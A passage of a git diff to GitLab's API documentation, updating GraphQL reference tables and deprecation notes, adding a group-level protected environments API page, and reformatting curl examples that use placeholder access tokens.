id="issuesortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. | +| <a id="issuesortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | +| <a id="issuesortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | ### `IssueState` @@ -14133,7 +14439,6 @@ Iteration ID wildcard values. | <a id="jobartifactfiletypedependency_scanning"></a>`DEPENDENCY_SCANNING` | DEPENDENCY SCANNING job artifact file type. | | <a id="jobartifactfiletypedotenv"></a>`DOTENV` | DOTENV job artifact file type. | | <a id="jobartifactfiletypejunit"></a>`JUNIT` | JUNIT job artifact file type. | -| <a id="jobartifactfiletypelicense_management"></a>`LICENSE_MANAGEMENT` | LICENSE MANAGEMENT job artifact file type. | | <a id="jobartifactfiletypelicense_scanning"></a>`LICENSE_SCANNING` | LICENSE SCANNING job artifact file type. | | <a id="jobartifactfiletypeload_performance"></a>`LOAD_PERFORMANCE` | LOAD PERFORMANCE job artifact file type. | | <a id="jobartifactfiletypelsif"></a>`LSIF` | LSIF job artifact file type. | @@ -14211,10 +14516,10 @@ Values for sorting merge requests. | <a id="mergerequestsortpriority_desc"></a>`PRIORITY_DESC` | Priority by descending order. | | <a id="mergerequestsortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. | | <a id="mergerequestsortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. | -| <a id="mergerequestsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | -| <a id="mergerequestsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | -| <a id="mergerequestsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | -| <a id="mergerequestsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | +| <a id="mergerequestsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. | +| <a id="mergerequestsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. | +| <a id="mergerequestsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | +| <a id="mergerequestsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | ### `MergeRequestState` @@ -14228,6 +14533,18 @@ State of a GitLab merge request. | <a id="mergerequeststatemerged"></a>`merged` | Merge request has been merged. | | <a id="mergerequeststateopened"></a>`opened` | In open state. | +### `MergeStatus` + +Representation of whether a GitLab merge request can be merged. + +| Value | Description | +| ----- | ----------- | +| <a id="mergestatuscannot_be_merged"></a>`CANNOT_BE_MERGED` | There are conflicts between the source and target branches. | +| <a id="mergestatuscannot_be_merged_recheck"></a>`CANNOT_BE_MERGED_RECHECK` | Currently unchecked. The previous state was `CANNOT_BE_MERGED`. | +| <a id="mergestatuscan_be_merged"></a>`CAN_BE_MERGED` | There are no conflicts between the source and target branches. | +| <a id="mergestatuschecking"></a>`CHECKING` | Currently checking for mergeability. | +| <a id="mergestatusunchecked"></a>`UNCHECKED` | Merge status has not been checked. | + ### `MergeStrategyEnum` | Value | Description | @@ -14301,6 +14618,8 @@ Values for sorting group packages. | <a id="packagegroupsortcreated_desc"></a>`CREATED_DESC` | Ordered by created_at in descending order. | | <a id="packagegroupsortname_asc"></a>`NAME_ASC` | Ordered by name in ascending order. | | <a id="packagegroupsortname_desc"></a>`NAME_DESC` | Ordered by name in descending order. | +| <a id="packagegroupsortproject_path_asc"></a>`PROJECT_PATH_ASC` | Ordered by project path in ascending order. | +| <a id="packagegroupsortproject_path_desc"></a>`PROJECT_PATH_DESC` | Ordered by project path in descending order. | | <a id="packagegroupsorttype_asc"></a>`TYPE_ASC` | Ordered by type in ascending order. | | <a id="packagegroupsorttype_desc"></a>`TYPE_DESC` | Ordered by type in descending order. | | <a id="packagegroupsortversion_asc"></a>`VERSION_ASC` | Ordered by version in ascending order. | @@ -14533,10 +14852,10 @@ Type of a snippet blob input action. | Value | Description | | ----- | ----------- | -| <a id="snippetblobactionenumcreate"></a>`create` | | -| <a id="snippetblobactionenumdelete"></a>`delete` | | -| <a id="snippetblobactionenummove"></a>`move` | | -| <a id="snippetblobactionenumupdate"></a>`update` | | +| <a id="snippetblobactionenumcreate"></a>`create` | Create a snippet blob. | +| <a id="snippetblobactionenumdelete"></a>`delete` | Delete a snippet blob. | +| <a id="snippetblobactionenummove"></a>`move` | Move a snippet blob. | +| <a id="snippetblobactionenumupdate"></a>`update` | Update a snippet blob. | ### `Sort` @@ -14548,10 +14867,10 @@ Common sort values. | <a id="sortcreated_desc"></a>`CREATED_DESC` | Created at descending order. | | <a id="sortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. | | <a id="sortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. | -| <a id="sortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | -| <a id="sortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | -| <a id="sortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | -| <a id="sortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | +| <a id="sortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. | +| <a id="sortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. | +| <a id="sortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | +| <a id="sortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | ### `TestCaseStatus` @@ -14618,7 +14937,6 @@ Name of the feature that the callout is for. | ----- | ----------- | | <a id="usercalloutfeaturenameenumaccount_recovery_regular_check"></a>`ACCOUNT_RECOVERY_REGULAR_CHECK` | Callout feature name for account_recovery_regular_check. | | <a id="usercalloutfeaturenameenumactive_user_count_threshold"></a>`ACTIVE_USER_COUNT_THRESHOLD` | Callout feature name for active_user_count_threshold. | -| <a id="usercalloutfeaturenameenumadmin_integrations_moved"></a>`ADMIN_INTEGRATIONS_MOVED` | Callout feature name for admin_integrations_moved. | | <a id="usercalloutfeaturenameenumbuy_pipeline_minutes_notification_dot"></a>`BUY_PIPELINE_MINUTES_NOTIFICATION_DOT` | Callout feature name for buy_pipeline_minutes_notification_dot. | | <a id="usercalloutfeaturenameenumcanary_deployment"></a>`CANARY_DEPLOYMENT` | Callout feature name for canary_deployment. | | <a id="usercalloutfeaturenameenumcluster_security_warning"></a>`CLUSTER_SECURITY_WARNING` | Callout feature name for cluster_security_warning. | @@ -14635,6 +14953,7 @@ Name of the feature that the callout is for. | <a id="usercalloutfeaturenameenumpipeline_needs_banner"></a>`PIPELINE_NEEDS_BANNER` | Callout feature name for pipeline_needs_banner. | | <a id="usercalloutfeaturenameenumpipeline_needs_hover_tip"></a>`PIPELINE_NEEDS_HOVER_TIP` | Callout feature name for pipeline_needs_hover_tip. | | <a id="usercalloutfeaturenameenumregistration_enabled_callout"></a>`REGISTRATION_ENABLED_CALLOUT` | Callout feature name for registration_enabled_callout. | +| <a id="usercalloutfeaturenameenumsecurity_configuration_upgrade_banner"></a>`SECURITY_CONFIGURATION_UPGRADE_BANNER` | Callout feature name for security_configuration_upgrade_banner. | | <a id="usercalloutfeaturenameenumservice_templates_deprecated_callout"></a>`SERVICE_TEMPLATES_DEPRECATED_CALLOUT` | Callout feature name for service_templates_deprecated_callout. | | <a id="usercalloutfeaturenameenumsuggest_pipeline"></a>`SUGGEST_PIPELINE` | Callout feature name for suggest_pipeline. | | <a id="usercalloutfeaturenameenumsuggest_popover_dismissed"></a>`SUGGEST_POPOVER_DISMISSED` | Callout feature name for suggest_popover_dismissed. | @@ -14642,7 +14961,6 @@ Name of the feature that the callout is for. | <a id="usercalloutfeaturenameenumthreat_monitoring_info"></a>`THREAT_MONITORING_INFO` | Callout feature name for threat_monitoring_info. | | <a id="usercalloutfeaturenameenumultimate_trial"></a>`ULTIMATE_TRIAL` | Callout feature name for ultimate_trial. | | <a id="usercalloutfeaturenameenumunfinished_tag_cleanup_callout"></a>`UNFINISHED_TAG_CLEANUP_CALLOUT` | Callout feature name for unfinished_tag_cleanup_callout. | -| <a id="usercalloutfeaturenameenumwebhooks_moved"></a>`WEBHOOKS_MOVED` | Callout feature name for webhooks_moved. | | <a id="usercalloutfeaturenameenumweb_ide_alert_dismissed"></a>`WEB_IDE_ALERT_DISMISSED` | Callout feature name for web_ide_alert_dismissed. | | <a id="usercalloutfeaturenameenumweb_ide_ci_environments_guidance"></a>`WEB_IDE_CI_ENVIRONMENTS_GUIDANCE` | Callout feature name for web_ide_ci_environments_guidance. | @@ -14668,9 +14986,9 @@ Possible states of a user. | Value | Description | | ----- | ----------- | -| <a id="visibilityscopesenuminternal"></a>`internal` | | -| <a id="visibilityscopesenumprivate"></a>`private` | | -| <a id="visibilityscopesenumpublic"></a>`public` | | +| <a id="visibilityscopesenuminternal"></a>`internal` | The snippet is visible for any logged in user except external users. | +| <a id="visibilityscopesenumprivate"></a>`private` | The snippet is visible only to the snippet creator. | +| <a id="visibilityscopesenumpublic"></a>`public` | The snippet can be accessed without any authentication. | ### `VulnerabilityDismissalReason` @@ -14802,11 +15120,11 @@ A `AlertManagementHttpIntegrationID` is a global ID. It is encoded as a string. An example `AlertManagementHttpIntegrationID` is: `"gid://gitlab/AlertManagement::HttpIntegration/1"`. -### `AnalyticsDevopsAdoptionSegmentID` +### `AnalyticsDevopsAdoptionEnabledNamespaceID` -A `AnalyticsDevopsAdoptionSegmentID` is a global ID. It is encoded as a string. +A `AnalyticsDevopsAdoptionEnabledNamespaceID` is a global ID. It is encoded as a string. -An example `AnalyticsDevopsAdoptionSegmentID` is: `"gid://gitlab/Analytics::DevopsAdoption::Segment/1"`. +An example `AnalyticsDevopsAdoptionEnabledNamespaceID` is: `"gid://gitlab/Analytics::DevopsAdoption::EnabledNamespace/1"`. ### `AwardableID` @@ -15015,6 +15333,18 @@ Represents a unique identifier that is Base64 obfuscated. It is often used to re An ISO 8601-encoded date. +### `IncidentManagementEscalationPolicyID` + +A `IncidentManagementEscalationPolicyID` is a global ID. It is encoded as a string. + +An example `IncidentManagementEscalationPolicyID` is: `"gid://gitlab/IncidentManagement::EscalationPolicy/1"`. + +### `IncidentManagementEscalationRuleID` + +A `IncidentManagementEscalationRuleID` is a global ID. It is encoded as a string. + +An example `IncidentManagementEscalationRuleID` is: `"gid://gitlab/IncidentManagement::EscalationRule/1"`. + ### `IncidentManagementOncallParticipantID` A `IncidentManagementOncallParticipantID` is a global ID. It is encoded as a string. @@ -15048,6 +15378,7 @@ An example `IssueID` is: `"gid://gitlab/Issue/1"`. A `IterationID` is a global ID. It is encoded as a string. An example `IterationID` is: `"gid://gitlab/Iteration/1"`. +The older format `"gid://gitlab/EEIteration/1"` was deprecated in 13.3. ### `IterationsCadenceID` @@ -15153,6 +15484,12 @@ A `PackagesPackageID` is a global ID. It is encoded as a string. An example `PackagesPackageID` is: `"gid://gitlab/Packages::Package/1"`. +### `PackagesPypiMetadatumID` + +A `PackagesPypiMetadatumID` is a global ID. It is encoded as a string. + +An example `PackagesPypiMetadatumID` is: `"gid://gitlab/Packages::Pypi::Metadatum/1"`. + ### `PathLockID` A `PathLockID` is a global ID. It is encoded as a string. @@ -15284,6 +15621,7 @@ One of: - [`ConanMetadata`](#conanmetadata) - [`MavenMetadata`](#mavenmetadata) - [`NugetMetadata`](#nugetmetadata) +- [`PypiMetadata`](#pypimetadata) #### `VulnerabilityDetail` @@ -15439,7 +15777,7 @@ Implementations: | <a id="memberinterfaceexpiresat"></a>`expiresAt` | [`Time`](#time) | Date and time the membership expires. | | <a id="memberinterfaceid"></a>`id` | [`ID!`](#id) | ID of the member. | | <a id="memberinterfaceupdatedat"></a>`updatedAt` | [`Time`](#time) | Date and time the membership was last updated. | -| <a id="memberinterfaceuser"></a>`user` | [`UserCore!`](#usercore) | User that is associated with the member object. | +| <a id="memberinterfaceuser"></a>`user` | [`UserCore`](#usercore) | User that is associated with the member object. | #### `Noteable` @@ -15843,6 +16181,18 @@ A node of an epic tree. | <a id="epictreenodefieldsinputtypenewparentid"></a>`newParentId` | [`EpicID`](#epicid) | ID of the new parent epic. | | <a id="epictreenodefieldsinputtyperelativeposition"></a>`relativePosition` | [`MoveType`](#movetype) | The type of the switch, after or before allowed. | +### `EscalationRuleInput` + +Represents an escalation rule. + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="escalationruleinputelapsedtimeseconds"></a>`elapsedTimeSeconds` | [`Int!`](#int) | The time in seconds before the rule is activated. | +| <a id="escalationruleinputoncallscheduleiid"></a>`oncallScheduleIid` | [`ID!`](#id) | The on-call schedule to notify. | +| <a id="escalationruleinputstatus"></a>`status` | [`EscalationRuleStatus!`](#escalationrulestatus) | The status required to prevent the rule from activating. | + ### `JiraUsersMappingInputType` #### Arguments @@ -15890,6 +16240,16 @@ A node of an epic tree. | <a id="negatedepicboardissueinputlabelname"></a>`labelName` | [`[String]`](#string) | Filter by label name. | | <a id="negatedepicboardissueinputmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | +### `NegatedEpicFilterInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="negatedepicfilterinputauthorusername"></a>`authorUsername` | [`String`](#string) | Filter by author username. | +| <a id="negatedepicfilterinputlabelname"></a>`labelName` | [`[String]`](#string) | Filter by label name. | +| <a id="negatedepicfilterinputmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | + ### `NegatedIssueFilterInput` #### Arguments diff --git a/doc/api/graphql/removed_items.md b/doc/api/graphql/removed_items.md index a76f1fb7418..d8fc6cb35f8 100644 --- a/doc/api/graphql/removed_items.md +++ b/doc/api/graphql/removed_items.md @@ -10,6 +10,32 @@ GraphQL is a versionless API, unlike the REST API. Occasionally, items have to be updated or removed from the GraphQL API. According to our [process for removing items](index.md#deprecation-and-removal-process), here are the items that have been removed. +## GitLab 14.0 + +Fields removed in [GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63293): + +### GraphQL Mutations + +| Argument name | Mutation | Deprecated in | Use instead | +| -------------------- | -------------------- | ------------- | -------------------------- | +| `updated_ids` | `todosMarkAllDone` | 13.2 | `todos` | +| `updated_ids` | `todoRestoreMany` | 13.2 | `todos` | +| `global_id` | `dastScannerProfileCreate`| 13.6 | `todos` | +| - | `addAwardEmoji` | 13.2 | `awardEmojiAdd` | +| - | `removeAwardEmoji` | 13.2 | `awardEmojiRemove` | +| - | `toggleAwardEmoji` | 13.2 | `ToggleAwardEmoji` | +| - | `runDastScan` | 13.5 | `dastOnDemandScanCreate` | +| - | `dismissVulnerability` | 13.5 | `vulnerabilityDismiss` | +| - | `revertVulnerabilityToDetected` | 13.5 | `vulnerabilityRevertToDetected` | + +### GraphQL Types + +| Field name | GraphQL type | Deprecated in | Use instead | +| -------------------- | -------------------- | ------------- | -------------------------- | +| `blob` | `SnippetType` | 13.3 | `blobs` | +| `global_id` | `DastScannerProfileType` | 13.6 | `blobs` | +| `vulnerabilities_count_by_day_and_severity` | `GroupType`, `QueryType` | 13.3 | None. Plaintext tokens no longer supported for security reasons. | + ## GitLab 13.6 Fields removed in [GitLab 13.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44866): diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md index 848d5735096..63ba71797fc 100644 --- a/doc/api/group_badges.md +++ b/doc/api/group_badges.md @@ -102,7 +102,9 @@ POST /groups/:id/badges | `image_url` | string | yes | URL of the badge image | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&position=0" "https://gitlab.example.com/api/v4/groups/:id/badges" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&position=0" \ + "https://gitlab.example.com/api/v4/groups/:id/badges" ``` Example response: @@ -134,7 +136,8 @@ PUT /groups/:id/badges/:badge_id | `image_url` | string | no | URL of the badge image | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/badges/:badge_id" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/:id/badges/:badge_id" ``` Example response: diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md index ea7c13637c4..6853e38cc32 100644 --- a/doc/api/group_clusters.md +++ b/doc/api/group_clusters.md @@ -13,7 +13,7 @@ Similarly to [project-level](../user/project/clusters/index.md) and group-level Kubernetes clusters allow you to connect a Kubernetes cluster to your group, enabling you to use the same cluster across multiple projects. -Users need at least [Maintainer](../user/permissions.md) access for the group to use these endpoints. +Users need at least the [Maintainer role](../user/permissions.md) for the group to use these endpoints. ## List group clusters diff --git a/doc/api/group_import_export.md b/doc/api/group_import_export.md index 79338df4f7a..d2bcac6332a 100644 --- a/doc/api/group_import_export.md +++ b/doc/api/group_import_export.md @@ -57,7 +57,8 @@ GET /groups/:id/export/download | `id` | integer/string | yes | ID of the group owned by the authenticated user | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name --remote-name "https://gitlab.example.com/api/v4/groups/1/export/download" +curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \ + --remote-name "https://gitlab.example.com/api/v4/groups/1/export/download" ``` ```shell @@ -90,7 +91,9 @@ The `file=` parameter must point to a file on your file system and be preceded by `@`. For example: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "name=imported-group" --form "path=imported-group" --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/groups/import" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --form "name=imported-group" --form "path=imported-group" \ + --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/groups/import" ``` NOTE: diff --git a/doc/api/group_labels.md b/doc/api/group_labels.md index 65c28e80f0a..2aca98259e0 100644 --- a/doc/api/group_labels.md +++ b/doc/api/group_labels.md @@ -118,7 +118,9 @@ POST /groups/:id/labels | `description` | string | no | The description of the label, | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"name": "Feature Proposal", "color": "#FFA500", "description": "Describes new ideas" }' "https://gitlab.example.com/api/v4/groups/5/labels" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"name": "Feature Proposal", "color": "#FFA500", "description": "Describes new ideas" }' \ + "https://gitlab.example.com/api/v4/groups/5/labels" ``` Example response: @@ -155,7 +157,8 @@ PUT /groups/:id/labels/:label_id | `description` | string | no | The description of the label. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"new_name": "Feature Idea" }' "https://gitlab.example.com/api/v4/groups/5/labels/Feature%20Proposal" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"new_name": "Feature Idea" }' "https://gitlab.example.com/api/v4/groups/5/labels/Feature%20Proposal" ``` Example response: diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md index b548372b02d..6425e022170 100644 --- a/doc/api/group_level_variables.md +++ b/doc/api/group_level_variables.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -92,7 +92,8 @@ POST /groups/:id/variables | `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables" --form "key=NEW_VARIABLE" --form "value=new value" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/1/variables" --form "key=NEW_VARIABLE" --form "value=new value" ``` ```json @@ -125,7 +126,8 @@ PUT /groups/:id/variables/:key | `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables/NEW_VARIABLE" --form "value=updated value" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/1/variables/NEW_VARIABLE" --form "value=updated value" ``` ```json @@ -153,5 +155,6 @@ DELETE /groups/:id/variables/:key | `key` | string | yes | The `key` of a variable | ```shell -curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables/VARIABLE_1" +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/1/variables/VARIABLE_1" ``` diff --git a/doc/api/group_protected_environments.md b/doc/api/group_protected_environments.md new file mode 100644 index 00000000000..d4e27a7200a --- /dev/null +++ b/doc/api/group_protected_environments.md @@ -0,0 +1,154 @@ +--- +stage: Release +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: concepts, howto +--- + +# Group-level protected environments API **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215888) in [GitLab Premium](https://about.gitlab.com/pricing/) 14.0. +> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](../ci/environments/protected_environments.md#enable-or-disable-group-level-protected-environments). **(FREE SELF)** + +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](../user/feature_flags.md#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. + +Read more about [group-level protected environments](../ci/environments/protected_environments.md#group-level-protected-environments), + +## Valid access levels + +The access levels are defined in the `ProtectedEnvironment::DeployAccessLevel::ALLOWED_ACCESS_LEVELS` method. +Currently, these levels are recognized: + +```plaintext +30 => Developer access +40 => Maintainer access +60 => Admin access +``` + +## List group-level protected environments + +Gets a list of protected environments from a group. + +```shell +GET /groups/:id/protected_environments +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/" +``` + +Example response: + +```json +[ + { + "name":"production", + "deploy_access_levels":[ + { + "access_level":40, + "access_level_description":"Maintainers", + "user_id":null, + "group_id":null + } + ] + } +] +``` + +## Get a single protected environment + +Gets a single protected environment. + +```shell +GET /groups/:id/protected_environments/:name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. | +| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).| + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/production" +``` + +Example response: + +```json +{ + "name":"production", + "deploy_access_levels":[ + { + "access_level":40, + "access_level_description":"Maintainers", + "user_id":null, + "group_id":null + } + ] +} +``` + +## Protect an environment + +Protects a single environment. + +```shell +POST /groups/:id/protected_environments +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. | +| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).| +| `deploy_access_levels` | array | yes | Array of access levels allowed to deploy, with each described by a hash. One of `user_id`, `group_id` or `access_level`. They take the form of `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}` respectively. | + +The assignable `user_id` are the users who belong to the given group with the Maintainer role (or above). +The assignable `group_id` are the sub-groups under the given group. + +```shell +curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/22034114/protected_environments" +``` + +Example response: + +```json +{ + "name":"production", + "deploy_access_levels":[ + { + "access_level":40, + "access_level_description":"protected-access-group", + "user_id":null, + "group_id":9899826 + } + ] +} +``` + +## Unprotect environment + +Unprotects the given protected environment. + +```shell +DELETE /groups/:id/protected_environments/:name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. | +| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).| + +```shell +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/staging" +``` + +The response should return a 200 code. diff --git a/doc/api/group_relations_export.md b/doc/api/group_relations_export.md index bb19f7f0923..2f9c1e381df 100644 --- a/doc/api/group_relations_export.md +++ b/doc/api/group_relations_export.md @@ -48,7 +48,8 @@ GET /groups/:id/export_relations/status | `id` | integer/string | yes | ID of the group owned by the authenticated user. | ```shell -curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/export_relations/status" +curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/groups/1/export_relations/status" ``` The status can be one of the following: @@ -92,7 +93,8 @@ GET /groups/:id/export_relations/download | `relation` | string | yes | Name of the group top-level relation to download. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name --remote-name "https://gitlab.example.com/api/v4/groups/1/export_relations/download?relation=labels" +curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \ + --remote-name "https://gitlab.example.com/api/v4/groups/1/export_relations/download?relation=labels" ``` ```shell diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md index 0388bf46a1b..2373fa25e15 100644 --- a/doc/api/group_repository_storage_moves.md +++ b/doc/api/group_repository_storage_moves.md @@ -202,8 +202,10 @@ Supported attributes: Example request: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ ---data '{"destination_storage_name":"storage2"}' "https://gitlab.example.com/api/v4/groups/1/repository_storage_moves" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"destination_storage_name":"storage2"}' \ + "https://gitlab.example.com/api/v4/groups/1/repository_storage_moves" ``` Example response: @@ -241,8 +243,10 @@ Supported attributes: Example request: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ ---data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/group_repository_storage_moves" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"source_storage_name":"default"}' \ + "https://gitlab.example.com/api/v4/group_repository_storage_moves" ``` Example response: diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md index f0c38d4d4b9..58192425786 100644 --- a/doc/api/group_wikis.md +++ b/doc/api/group_wikis.md @@ -64,7 +64,7 @@ GET /groups/:id/wikis/:slug | Attribute | Type | Required | Description | | --------- | ------- | -------- | --------------------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `slug` | string | yes | The slug (a unique string) of the wiki page | +| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/wikis/home" @@ -127,7 +127,7 @@ PUT /groups/:id/wikis/:slug | `content` | string | yes if `title` is not provided | The content of the wiki page | | `title` | string | yes if `content` is not provided | The title of the wiki page | | `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` | -| `slug` | string | yes | The slug (a unique identifier) of the wiki page | +| `slug` | string | yes | URL encoded slug (a unique string) of the wiki page. Ex. dir%2Fpage_name | ```shell curl --request PUT --data "format=rdoc&content=documentation&title=Docs" \ @@ -157,7 +157,7 @@ DELETE 